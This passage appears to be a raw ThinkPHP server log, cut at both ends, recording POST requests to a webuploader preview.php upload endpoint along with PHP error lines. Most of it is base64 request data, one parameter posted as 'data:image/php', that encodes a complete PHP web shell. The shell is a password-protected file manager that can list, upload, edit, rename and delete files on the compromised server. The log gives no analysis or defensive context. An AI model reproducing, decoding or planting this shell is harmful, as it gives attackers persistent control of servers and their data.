7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 'lib' => 'webuploader', 0 => 'server', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-22T04:29:13+08:00 ] 119.42.146.234 POST 51tianwei.com/Public//webuploader/0.1.15/server/preview.php [运行时间:0.002638s] [吞吐率:379.06req/s] [内存消耗:196.66kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'Public', 2 => 'webuploader', ), ) [ info ] [ HEADER ] array ( 'host' => '51tianwei.com', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbG